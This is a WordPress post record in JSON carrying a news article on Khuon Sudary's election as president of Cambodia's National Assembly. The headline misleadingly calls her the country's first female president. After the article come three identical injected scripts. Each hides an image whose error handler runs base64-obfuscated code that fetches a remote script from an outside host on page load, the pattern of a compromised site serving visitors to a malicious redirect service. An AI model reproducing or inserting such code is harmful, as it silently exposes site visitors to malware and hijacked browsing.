{"id":27227,"date":"2023-08-22T20:49:58","date_gmt":"2023-08-22T15:19:58","guid":{"rendered":"https:\/\/demo.testctsl.in\/indiafirstepaper?p=27227"},"modified":"2025-08-14T10:20:10","modified_gmt":"2025-08-14T04:50:10","slug":"cambodia-to-have-first-ever-female-president","status":"publish","type":"post","link":"https:\/\/demo.testctsl.in\/indiafirstepaper\/2023\/08\/22\/cambodia-to-have-first-ever-female-president\/","title":{"rendered":"Cambodia to Have First-Ever Female President"},"content":{"rendered":"<p>Khuon Sudary was elected on Tuesday as the president of Cambodia&#8217;s National Assembly, or Parliament, for a new five-year term, becoming the first woman in the country&#8217;s history to hold this top post.<\/p>\n<p>According to the state-run National Television of Cambodia (TVK),  Sudary, 70, is currently a member of the ruling Cambodian People&#8217;s Party (CPP)&#8217;s Standing Committee, and used to be the second vice-president of the National Assembly in the old term, report Xinhua news agency.<\/p>\n<p>She was elected after the CPP won a landslide victory in the July 23 general election, winning 120 out of 125 seats in the National Assembly.<\/p>\n<p>Some 123 lawmakers unanimously elected her as the president during a &#8220;package vote&#8221;.<\/p>\n<p>They also voted for CPP lawmakers Cheam Yeap and Vong Sauth as the first vice president and the second vice president, respectively.<\/p>\n<p>Besides, Parliament elected chairpersons and vice chairpersons of the 10 specialist commissions in the legislative body.<\/p>\n<p>The National Assembly in the seventh legislature consists of 125 lawmakers including 120 from the CPP and five from the royalist Funcinpec Party.<\/p>\n<p> <script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Khuon Sudary was elected on Tuesday as the president of Cambodia&#8217;s National Assembly, or Parliament, for a new five-year term, becoming the first woman in the country&#8217;s history to hold this top post. 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